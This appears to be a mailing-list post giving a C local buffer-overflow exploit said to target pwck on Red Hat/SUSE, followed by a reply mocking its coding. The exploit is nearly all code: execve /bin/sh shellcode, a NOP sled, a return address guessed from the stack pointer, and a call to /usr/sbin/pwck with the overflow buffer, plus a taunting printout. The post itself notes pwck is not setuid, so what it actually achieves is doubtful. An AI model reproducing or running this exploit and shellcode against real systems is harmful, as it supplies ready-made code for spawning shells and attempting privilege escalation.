//Chung's Donut Shop release !!
//Redhat/Suse PWCK Buffer overflow PC Code
//(PWCK is NT SETUID) This isn't fake
//code I promise (it may be borrowed) ;) d4yj4y
#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x 5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x 4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x 6e\x2f\x73"
"\x68";
unsigned long sp(void)
{ __asm__("movl %esp, %eax");}
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
offset = 1700; //the offset I first found worked
esp = sp();
ret = esp - offset;
buffer = malloc(2200);
ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 2200; i+=4)
{ *(addr_ptr++) = ret; }
for(i=0; i < 1000; i++)
{ buffer[i] = '\x90'; }
ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }
buffer[2200-1] = 0;
printf("d4yj4y fscked j00r mom!\n"); sleep(2);
execl("/usr/sbin/pwck", "pwck", buffer, 0);
free(buffer);
return 0;
}
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Fri, May 06, 2005 at 06:03:26PM -0700, Day Jay wrote:
//(PWCK is NT SETUID) This isn't fake
//code I promise (it may be borrowed) ;) d4yj4y

It may or may not be fake, but you are an *astonishingly* lame C programmer:

for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }

Wow.

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